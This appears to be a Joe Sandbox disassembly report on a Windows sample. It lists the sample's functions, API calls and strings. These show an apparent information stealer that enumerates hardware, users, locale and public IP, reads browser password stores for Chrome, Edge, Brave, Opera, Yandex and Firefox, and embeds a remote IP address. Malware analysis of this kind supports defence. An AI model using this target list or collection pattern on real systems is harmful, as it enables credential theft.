DISK INFO:, xrefs: 00007FF6876B5917
RAM INFO:, xrefs: 00007FF6876B57E3
CPU INFO:, xrefs: 00007FF6876B5688
Adapter: , xrefs: 00007FF6876B5A02
Time Zone: , xrefs: 00007FF6876B5F9D

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$D@std@@@std@@U?$char_traits@$memset$??1?$basic_ios@??1?$basic_iostream@$??6?$basic_ostream@Infomemcpy$AdaptersInformationOpenV01@ValueWindowmalloc$CloseConcurrency::cancel_current_taskConsoleFileGlobalJoinMemoryModuleNameShowStatusSystemTimeV01@_Xlength_error@std@@Zonefree
String ID: ADAPTERS INFO:$CPU INFO:$DISK INFO:$DOMAIN AND TZ INFO:$LOCALE INFO:$PROCESSES RUNNING:$RAM INFO:$USERS INFO:$ IP: $ MB$185.237.165.97$@$Adapter: $Domain: $Executable Path: $IP Address: $MACHINE INFO:$Number of Cores: $Processor Architecture: $Time Zone: $Total Physical Memory:
API String ID: 1449153876-4066422610
Opcode ID: d091092116045a41f88bcc4cb545aace3c4bd9ba271f4ff16ecd96e62a7613b6
Instruction ID: f2cf3236cced1a9fa235aa90202a82b6f5e4e18becfc0d5c0f95e132b459ab91
Opcode Fuzzy Hash: d091092116045a41f88bcc4cb545aace3c4bd9ba271f4ff16ecd96e62a7613b6
Instruction Fuzzy Hash: A7828462A98A86D5EF10DB24D4402ED2321FF86794F40423AF65D86AEADF7CF5C5E340

Function 00007FF6876B4CB0 Relevance: 54.7, APIs: 16, Strings: 15, Instructions: 472
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6876B4CEE
GetEnvironmentVariableW.KERNEL32 ref: 00007FF6876B4D1C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6876B4D35
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B4DA0
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B4E2B

Strings

release, xrefs: 00007FF6876B4A36, 00007FF6876B4B66
\AppData\Roaming\Mozilla\Firefox\Profiles, xrefs: 00007FF6876B4D3B, 00007FF6876B4DC0
\AppData\Local\Microsoft\Edge\User Data\Default\Login Data, xrefs: 00007FF6876B4EAA
\logins.json, xrefs: 00007FF6876B4FBB, 00007FF6876B4FDD
\AppData\Local\Yandex\YandexBrowser\User Data\Default\Login Data, xrefs: 00007FF6876B4F13
\AppData\Roaming\Opera Software\Opera GX Stable\Login Data, xrefs: 00007FF6876B4EF8
USERPROFILE, xrefs: 00007FF6876B4D15
\AppData\Local\Chromium\User Data\Default\Login Data, xrefs: 00007FF6876B4E92
\AppData\Local\Google\Chrome Beta\User Data\Default\Login Data, xrefs: 00007FF6876B4E7A
\AppData\Local\Google\Chrome\User Data\Default\Login Data, xrefs: 00007FF6876B4E62
\AppData\Roaming\Opera Software\Opera Stable\Login Data, xrefs: 00007FF6876B4EDD
\times.json, xrefs: 00007FF6876B50BA, 00007FF6876B50DC
\AppData\Roaming\Mozilla\Firefox\Profiles\, xrefs: 00007FF6876B4F59, 00007FF6876B5058
\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Login Data, xrefs: 00007FF6876B4EC2
default, xrefs: 00007FF6876B4AE6

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$EnvironmentVariablefreemalloc
String ID: USERPROFILE$\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Login Data$\AppData\Local\Chromium\User Data\Default\Login Data$\AppData\Local\Google\Chrome Beta\User Data\Default\Login Data$\AppData\Local\Google\Chrome\User Data\Default\Login Data$\AppData\Local\Microsoft\Edge\User Data\Default\Login Data$\AppData\Local\Yandex\YandexBrowser\User Data\Default\Login Data$\AppData\Roaming\Mozilla\Firefox\Profiles$\AppData\Roaming\Mozilla\Firefox\Profiles\$\AppData\Roaming\Opera Software\Opera GX Stable\Login Data$\AppData\Roaming\Opera Software\Opera Stable\Login Data$\logins.json$\times.json$default$release
API String ID: 716798019-3135576060
Opcode ID: 9b24530ae91db742ab871ae2567c9780c52df1db04768c1315b303abc1aed9d6
Instruction ID: f337bf518f22d2ff58ff2440fada2c0aed5c844e7af01273fcfd58510b382f8c
Opcode Fuzzy Hash: 9b24530ae91db742ab871ae2567c9780c52df1db04768c1315b303abc1aed9d6
Instruction Fuzzy Hash: 2B328F72A58BC6D5EF209F64D8443EC2361FF86794F405236EA5C96AA9DF78E2C4D300

Function 00007FF6876B41F0 Relevance: 49.2, APIs: 17, Strings: 11, Instructions: 185
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.VCRUNTIME140(?), ref: 00007FF6876B423F
memset.VCRUNTIME140(?), ref: 00007FF6876B4253
memset.VCRUNTIME140(?), ref: 00007FF6876B4267
memset.VCRUNTIME140(?), ref: 00007FF6876B427B
memset.VCRUNTIME140(?), ref: 00007FF6876B428D

Part of subcall function 00007FF6876B6390: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF6876B63CA
Part of subcall function 00007FF6876B6390: ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF6876B63E6
Part of subcall function 00007FF6876B6390: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF6876B6418

RegOpenKeyExA.KERNELBASE(?), ref: 00007FF6876B42BE
RegGetValueA.KERNELBASE ref: 00007FF6876B42F2
RegCloseKey.KERNELBASE ref: 00007FF6876B432D
RegOpenKeyExA.KERNELBASE ref: 00007FF6876B435C
RegGetValueA.KERNELBASE ref: 00007FF6876B4395
RegCloseKey.ADVAPI32 ref: 00007FF6876B43D3
RegOpenKeyExA.KERNELBASE ref: 00007FF6876B4402
RegGetValueA.KERNELBASE ref: 00007FF6876B443F
RegGetValueA.KERNELBASE ref: 00007FF6876B44A7
RegCloseKey.KERNELBASE ref: 00007FF6876B44E5
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6876B4539
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6876B4543

Part of subcall function 00007FF6876B94E0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,00000000,00000000,?,00007FF6876B1970), ref: 00007FF6876B9559
Part of subcall function 00007FF6876B94E0: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140(?,00000000,00000000,?,00007FF6876B1970), ref: 00007FF6876B9579
Part of subcall function 00007FF6876B94E0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF6876B1970), ref: 00007FF6876B9589
Part of subcall function 00007FF6876B94E0: ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140(?,00000000,00000000,?,00007FF6876B1970), ref: 00007FF6876B9664
Part of subcall function 00007FF6876B94E0: ?uncaught_exception@std@@YA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF6876B1970), ref: 00007FF6876B966B
Part of subcall function 00007FF6876B94E0: ?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140(?,00000000,00000000,?,00007FF6876B1970), ref: 00007FF6876B9678

Part of subcall function 00007FF6876B94E0: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,00000000,00000000,?,00007FF6876B1970), ref: 00007FF6876B95D6

Part of subcall function 00007FF6876B94E0: ?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140(?,00000000,00000000,?,00007FF6876B1970), ref: 00007FF6876B95FD
Part of subcall function 00007FF6876B94E0: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,00000000,00000000,?,00007FF6876B1970), ref: 00007FF6876B961E

Strings

OS display version: , xrefs: 00007FF6876B44B1
Machine name: , xrefs: 00007FF6876B42FC
BaseBoardProduct, xrefs: 00007FF6876B42E4
ProcessorNameString, xrefs: 00007FF6876B4387
OS name: , xrefs: 00007FF6876B4449
HARDWARE\DESCRIPTION\System\BIOS, xrefs: 00007FF6876B42B0
DisplayVersion, xrefs: 00007FF6876B4499
ProductName, xrefs: 00007FF6876B4431
SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 00007FF6876B43F4
Processor name: , xrefs: 00007FF6876B439F
HARDWARE\DESCRIPTION\System\CentralProcessor\0, xrefs: 00007FF6876B434E

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$memset$Value$CloseOpenU?$char_traits@_W@std@@@std@@$?good@ios_base@std@@?sputc@?$basic_streambuf@$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_iostream@?flush@?$basic_ostream@_?setstate@?$basic_ios@_?sputn@?$basic_streambuf@?uncaught_exception@std@@D@std@@@1@@Osfx@?$basic_ostream@_V12@V?$basic_streambuf@
String ID: BaseBoardProduct$DisplayVersion$HARDWARE\DESCRIPTION\System\BIOS$HARDWARE\DESCRIPTION\System\CentralProcessor\0$Machine name: $OS display version: $OS name: $Processor name: $ProcessorNameString$ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion
API String ID: 20268565-1502927450
Opcode ID: e8a849ff1cf450a5639899f728c5979a0428117e68cf5c9bfb62e6c39eaeade9
Instruction ID: 024afe4e56fd7f0f7a8878fcf77d470a24c11b74bb595d0efbc1af21a6c81e93
Opcode Fuzzy Hash: e8a849ff1cf450a5639899f728c5979a0428117e68cf5c9bfb62e6c39eaeade9
Instruction Fuzzy Hash: C2914E3165CB41D5EF24DF25E8402AA6364FF86788F804139FA8D87A69EF3CE189D740

Function 00007FF6876B4570 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6876B9BB0: memcpy.VCRUNTIME140 ref: 00007FF6876B9BE8

WinHttpOpen.WINHTTP ref: 00007FF6876B45E4
WinHttpConnect.WINHTTP ref: 00007FF6876B4607
WinHttpOpenRequest.WINHTTP ref: 00007FF6876B463C
WinHttpSendRequest.WINHTTP ref: 00007FF6876B4668
WinHttpReceiveResponse.WINHTTP ref: 00007FF6876B467B
WinHttpQueryDataAvailable.WINHTTP ref: 00007FF6876B4696
memset.VCRUNTIME140 ref: 00007FF6876B46C0
WinHttpReadData.WINHTTP ref: 00007FF6876B46DA

Part of subcall function 00007FF6876B9BB0: memcpy.VCRUNTIME140 ref: 00007FF6876B9C89

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B4799
WinHttpCloseHandle.WINHTTP ref: 00007FF6876B47B0
WinHttpCloseHandle.WINHTTP ref: 00007FF6876B47B9
WinHttpCloseHandle.WINHTTP ref: 00007FF6876B47C2

Strings

GET, xrefs: 00007FF6876B4632
Unable to get IP, xrefs: 00007FF6876B45BC
WinHTTP/1.0, xrefs: 00007FF6876B45DD
api.ipify.org, xrefs: 00007FF6876B45FD

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: Http$CloseHandle$DataOpenRequestmemcpy$AvailableConnectQueryReadReceiveResponseSend_invalid_parameter_noinfo_noreturnmemset
String ID: GET$Unable to get IP$WinHTTP/1.0$api.ipify.org
API String ID: 849217320-4095685055
Opcode ID: 5220dba4e9b23e91aa39575f81e94c7ae60bf55f278317e19a8425e346ebed56
Instruction ID: 0a26c8ac1264cfef0f13a0f39de93050adcabd939c3dc9e65fdbacdb5f27da93
Opcode Fuzzy Hash: 5220dba4e9b23e91aa39575f81e94c7ae60bf55f278317e19a8425e346ebed56
Instruction Fuzzy Hash: C3617B62A5C782C2EE14CB25E45026A67A1FF86B84F544139EA8D87B69DF3CF4C5DB00

Function 00007FF6876B3E70 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 211
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLocaleInfoA.KERNELBASE ref: 00007FF6876B3EC2
GetLocaleInfoA.KERNEL32 ref: 00007FF6876B3F3C

Part of subcall function 00007FF6876B9BB0: memcpy.VCRUNTIME140 ref: 00007FF6876B9BE8

memset.VCRUNTIME140 ref: 00007FF6876B400F
??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF6876B4024
??0?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z.MSVCP140 ref: 00007FF6876B4043
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF6876B4077
??1?$basic_ostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6876B413C
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6876B4146
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B4181
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B41E0

Strings

Country: , xrefs: 00007FF6876B40C3
Failed to get locale, xrefs: 00007FF6876B3EDE, 00007FF6876B3F5C
Language: , xrefs: 00007FF6876B4094

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$InfoLocale_invalid_parameter_noinfo_noreturn$??0?$basic_ios@??0?$basic_ostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_ostream@D@std@@@1@_V?$basic_streambuf@memcpymemset
String ID: Country: $Failed to get locale$Language:
API String ID: 3095796567-568146128
Opcode ID: b590ea95d77fd6855fedfa3c9a8500dbf4fe7e56d19c5eed8c4f2d26f6babfe5
Instruction ID: 157c458a7ff7aff5bd275a3860146c329020cca24ef46a7f766abadd84e09b2f
Opcode Fuzzy Hash: b590ea95d77fd6855fedfa3c9a8500dbf4fe7e56d19c5eed8c4f2d26f6babfe5
Instruction Fuzzy Hash: B7A1A472A58B86C2EF00CB25E4402AD7765FF86794F504236F69D87AA9DF7CE085D700

Function 00007FF6876B37A0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 160
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLogicalDrives.KERNELBASE ref: 00007FF6876B37DF
memset.VCRUNTIME140 ref: 00007FF6876B37F3

Part of subcall function 00007FF6876B6390: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF6876B63CA
Part of subcall function 00007FF6876B6390: ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF6876B63E6
Part of subcall function 00007FF6876B6390: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF6876B6418

Part of subcall function 00007FF6876B94E0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,00000000,00000000,?,00007FF6876B1970), ref: 00007FF6876B9559
Part of subcall function 00007FF6876B94E0: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140(?,00000000,00000000,?,00007FF6876B1970), ref: 00007FF6876B9579
Part of subcall function 00007FF6876B94E0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF6876B1970), ref: 00007FF6876B9589
Part of subcall function 00007FF6876B94E0: ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140(?,00000000,00000000,?,00007FF6876B1970), ref: 00007FF6876B9664
Part of subcall function 00007FF6876B94E0: ?uncaught_exception@std@@YA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF6876B1970), ref: 00007FF6876B966B
Part of subcall function 00007FF6876B94E0: ?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140(?,00000000,00000000,?,00007FF6876B1970), ref: 00007FF6876B9678

GetDiskFreeSpaceExA.KERNELBASE ref: 00007FF6876B3912
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@_K@Z.MSVCP140 ref: 00007FF6876B3947
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6876B39E9
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6876B39F3

Part of subcall function 00007FF6876B9260: memcpy.VCRUNTIME140(?,?,?,?,?,00007FF6876B1C3D), ref: 00007FF6876B92A6

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B3A28
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B3A2F

Strings

GB, xrefs: 00007FF6876B3950
Available Drives: , xrefs: 00007FF6876B3802

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$U?$char_traits@_W@std@@@std@@$?good@ios_base@std@@_invalid_parameter_noinfo_noreturn$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_iostream@??6?$basic_ostream@?flush@?$basic_ostream@_?setstate@?$basic_ios@_?uncaught_exception@std@@D@std@@@1@@DiskDrivesFreeLogicalOsfx@?$basic_ostream@_SpaceV01@_V12@V?$basic_streambuf@memcpymemset
String ID: GB$Available Drives:
API String ID: 2435906160-4081138596
Opcode ID: 4cb53dfc68d3d9a01b4374012e4dcb0437233c29287e7b805d3bda07c0b85666
Instruction ID: 0ba8fa471183dfc9185c7db9ef2c702bfa35f999e9aff86b06504cb542859ba8
Opcode Fuzzy Hash: 4cb53dfc68d3d9a01b4374012e4dcb0437233c29287e7b805d3bda07c0b85666
Instruction Fuzzy Hash: 0D61C622A58B82C5EF10DB25E4403AD6360FF96798F005239FA8D47AA5DF7CE0C5D740

Function 00007FF6876B3A40 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 129
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.VCRUNTIME140 ref: 00007FF6876B3A8E

Part of subcall function 00007FF6876B6390: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF6876B63CA
Part of subcall function 00007FF6876B6390: ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF6876B63E6
Part of subcall function 00007FF6876B6390: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF6876B6418

NetUserEnum.NETAPI32 ref: 00007FF6876B3ACB
NetApiBufferFree.NETAPI32 ref: 00007FF6876B3BAC
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6876B3BF4
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6876B3BFE
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B3C2B

Strings

User: , xrefs: 00007FF6876B3B1B

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_iostream@BufferD@std@@@1@@EnumFreeUserV?$basic_streambuf@_invalid_parameter_noinfo_noreturnmemset
String ID: User:
API String ID: 429987867-381282118
Opcode ID: 3a2b85ab6f3da6fbc4bee8247e454fd27ad0649b8ebffdf9eaac72bb972dfe03
Instruction ID: 63537264a82ec64368c220d34306300b36acf61eb301bf3b2ae5afe66ed5d9ae
Opcode Fuzzy Hash: 3a2b85ab6f3da6fbc4bee8247e454fd27ad0649b8ebffdf9eaac72bb972dfe03
Instruction Fuzzy Hash: 0D516E32B48B42C5EF10DF25E4802AD7761FF86794F40413AEA4D87AA9DF38E485DB40

Function 00007FF6876B1790 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 195
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.VCRUNTIME140 ref: 00007FF6876B17DB
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF6876B1843
?tellg@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAA?AV?$fpos@U_Mbstatet@@@2@XZ.MSVCP140 ref: 00007FF6876B1886
?seekg@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@_JH@Z.MSVCP140 ref: 00007FF6876B189D
memset.VCRUNTIME140 ref: 00007FF6876B191F

Part of subcall function 00007FF6876BB188: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6876B1079), ref: 00007FF6876BB1A2

?read@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@PEAD_J@Z.MSVCP140 ref: 00007FF6876B1943
??7ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF6876B1953
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF6876B197A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B19B4
??1?$basic_istream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6876B1A01
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6876B1A0B
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6876B1A3E
??1?$basic_istream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6876B1A9C

Strings

Couldn't open the file, xrefs: 00007FF6876B1826
Couldn't read the file, xrefs: 00007FF6876B195D

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$V01@$??1?$basic_istream@??6?$basic_ostream@V01@@memset$??1?$basic_ios@??7ios_base@std@@?read@?$basic_istream@?seekg@?$basic_istream@?tellg@?$basic_istream@Concurrency::cancel_current_taskMbstatet@@@2@V12@V12@_V?$fpos@_invalid_parameter_noinfo_noreturnmalloc
String ID: Couldn't open the file$Couldn't read the file
API String ID: 2898521299-2967168750
Opcode ID: 6b7ca949362c67caec4b84bc820215c3e0455586fb8f6a8d5dc2d58e2464d686
Instruction ID: b0dbf6881d277872587c30e539271fd3c167bb4266454059dc8db79f9ff033b9
Opcode Fuzzy Hash: 6b7ca949362c67caec4b84bc820215c3e0455586fb8f6a8d5dc2d58e2464d686
Instruction Fuzzy Hash: 4E919032A48B85D1EF14DB25E8802A97361FF86B94F54423AEE5D877A4DF3CE485D700

Function 00007FF6876B1520 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF6876B157D
??0?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z.MSVCP140 ref: 00007FF6876B159C
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF6876B15D0
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAVios_base@1@AEAV21@@Z@Z.MSVCP140 ref: 00007FF6876B1607
isalnum.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6876B1639
?setw@std@@YA?AU?$_Smanip@_J@1@_J@Z.MSVCP140 ref: 00007FF6876B165E
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@H@Z.MSVCP140 ref: 00007FF6876B168C
